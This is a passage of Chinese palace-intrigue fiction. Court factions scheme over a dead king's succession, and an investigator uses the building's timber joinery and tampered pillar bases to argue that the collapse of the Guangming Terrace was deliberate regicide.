秦文治到底年轻,叹气道:“如今局面大乱,总是艰难。” 他说着看向孙子,笑道:“治儿,如今最怕的就是不乱!如今梁太子也来趟这趟浑水,趟得正好!咱们不是手中无兵么?那就让尉迟和虎贲斗,最好斗得个两败俱伤!” 秦文治犹不放心,“可那尉迟是拥护少公的,倘若少公回境奔丧,承祧继位就是顺理成章!” 牧城侯呵呵笑了:“傻孩子,秦寄可是跟秦华阳走的。如今秦温吉气焰嚣张,秦寄却毫无音讯,你说,他还有命活吗?” 秦文治不免一阵胆寒。 秦寄也是在秦温吉膝下长大,姑侄之情非比寻常,他和秦华阳更是情同手足。原来政治斗争当中,谁都能化成禽兽不如的牲畜,将亲人抽筋扒皮喝干吃净吗? 正出神,帐篷已被打起,秦文治听到外面巡逻军队的跑踏声和沙沙雨声。地震之后的雨水往往是瘟疫的使者。真正的灾难尚未来临。 钻进帐篷的是牧城侯的线人,怕雨汽过人,并不站得太近,只抱拳回禀:“苏廷尉和裴中丞似乎要召集百官,政君的确领兵去城外灾区了,暂时看不出有兵变的架势。只是那中原人……” 牧城侯问:“尉迟松如何?” “他去了光明台废址,又转去灵堂……” “他一个人?” “一个人。”线人道,“属下来时,尉迟已经离了灵堂,看方向,要去神祠。” *** 风雨随开门声冲入神祠,满殿烛光乍一摇曳。大宗伯郑挽青仍跪于蒲团,诵光明经。 尉迟松踏入神祠,仰望那座尊贵无匹的光明大像。灾难后的雨声冲刷人世,又汇入诵经声化作溪水涓涓流淌。尉迟松从不信宗教鬼神之说但,这一刻的无声有声交相辉映让他理解,为什么那么多人会对虚无之灵无上虔诚。 郑挽青诵毕,并未起身,开口道:“门下不是站立之处,请贵客举步。” 尉迟松抬步入内,问:“敢问典故。” 郑挽青道:“南秦初创,一片混沌。金河神为使万物生发,冒大不韪离间父母。五月十五,母神隐遁,父神为寻妻割开眼睛,自此人世诞生光明。据说河神不敢直视神光,便立于门下,避视以挑唆。门下之客即为叛逆,贵客还是避过为妙。” 尉迟松道:“我不信教,说不着叛与不叛。” 郑挽青未怒,反而笑意淡淡,“那贵客冒雨夜访,不为瞻仰神明,是为我而来。” 尉迟松道:“我听闻南秦有两不葬,不知真假,请大宗伯指教。” 郑挽青道:“贵客但讲无妨。” 尉迟松道:“异乡不葬 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第二日朝阳初升时,所有人齐聚灵堂。 香烛烟气缭绕处,一尊光明神小木像若隐若现。木像跟前摆放秦灼棺椁,棺身纹饰的金色火焰纹既像超度也像厌胜。很难想象,这样一个一生传奇波澜壮阔的男人就这么蜷缩在一只铁皮盒子里了,甚至连死亡也成为政治斗争的一个链环,一头拴着王位,另一头从行踪不明的秦寄腰间松脱,悬在众人眼前,发出风铃般诱人的叮铃声。 光明台的一众宫人也领到此处,哪怕面对宗教首领,也难免低低啜泣。 郑挽青问:“大王罹难当夜,光明台共有几名宫人?” 为首的大宫女云萝道:“共六名,妾和阿胭守夜,另有四名侍卫负责徼巡。” “你们在内殿外殿?” “妾等不在殿内,在一旁庑房。” 郑挽青蹙眉,“这不符宫规。” 云萝觑一眼秦温吉,立即垂首道:“这个月大王腿疾复发,难以下榻,传召政君及丹灵侯侍疾。大王养病喜静,不欲人扰,不叫我们在内服侍。” 郑挽青问:“遣退你们的旨意,是大王亲自开口吗?” 云萝头低得更深:“是……政君代传。” 苏蟠在旁,闻之冷笑:“这样急着将大王架空,政君司马昭之心,还需路人辩驳吗?” 秦温吉转眸看他,手刚按住刀柄,郑挽青已呵斥:“苏廷尉,你逾矩了。” 苏蟠对秦温吉态度傲慢,却对这位年纪轻轻的大宗伯十分恭敬,欠身拱手道:“在下一时义愤,还请大宗伯见谅。” 郑挽青重新问云萝:“光明台塌之日,政君丹灵侯俱不在殿?” 云萝摇头,“甘夫人诞辰将至,大王命政君奉夫人衣冠至金河祭台,政君前日便带车马离开了。丹灵侯在侍疾,但大王用药仔细,都是由丹灵侯亲自监看药署熬煎,再亲自取回。当时丹灵侯已去药署取药。” 郑挽青道:“也就是说,光明台塌之时,大王身边一个人都没有?” 云萝扑通跪下,“妾死罪,但……确实如此,妾也是听命行事。” 郑挽青道:“既是听命,何来罪责?你请起,我还有话要问。就算你们在庑房,台塌时也当有所眼见。当时是什么情形?” 云萝道:“妾等感觉动静,匆忙往外跑,赶紧喊人往光明台去。结果妾等还没来得及跑上台阶,整座宫室……整座宫室就塌了。那么大根柱子拦腰折断……天哪,妾等实在闯不进去呀!” 这时候,旁观已久的尉迟松突然发问:“先塌的是柱子,不是墙体?” 云萝想了想,“是柱子,外头两根立柱先断掉,然后整个梁柱塌下来,更别说墙了。” 尉迟松眼神发寒,道:“不对。” 郑挽青也有些请教之意,“愿闻其详。” 尉迟松道:“光明台建筑以楠木为主,韧性极强,地动之时会弹性变形,减缓冲击。如果我所记不错,光明台采取的应该是抬梁式和穿斗式构架,立柱、横梁和屋顶交接处更有斗拱。” 他还没说完,苏蟠已嗤声打断:“寻常建筑模式罢了,这能说明什么?” “说明它牢固,至少比墙牢固。”尉迟松道,“这样大规模的建筑和精密的设计,所采取的榫卯零件不下万数。但凡是有经验的工匠,在安装榫卯时都会预留空隙,这就使得地动来临时,整座建筑能够借助这些空隙吸收地动冲力,通过扩散震动,把整个大的力削弱卸去。所以在大地动之后,经常见到建筑保留了基础的木质框架,但墙体已经坍圮的情况,像大梁允州的万佛塔、澄州的如意庙俱是如此。” 苏蟠仍不屑:“那是你们大梁墙体粗糙,光明台可是用上好白石料筑成,说固若铜铁也不为过。” “石料坚硬抗压,但不抗拉。苏廷尉高坐庙堂,不会真以为地动是上下挤压吧?”尉迟松道,“再好的石料也是石料,地动时极容易出现裂缝,绝对比不上木结构。而且很不巧,我昨晚闲来无事,去光明台看了看,发现立柱下的磉盘被动过手脚。” 裴儒望听迷糊了,“磉盘?” “也就是柱子下的石墩。”尉迟松道,“石墩顶部有空处,是为了和木柱下方的榫契合,叫海眼。但海眼处的榫结构被破坏了。还有,我找到了三根梁柱,截面都很整齐,只可能是人为切割而成。”* 他看向郑挽青,“此系人祸。弑君重罪非同小可,还望大宗伯明断。”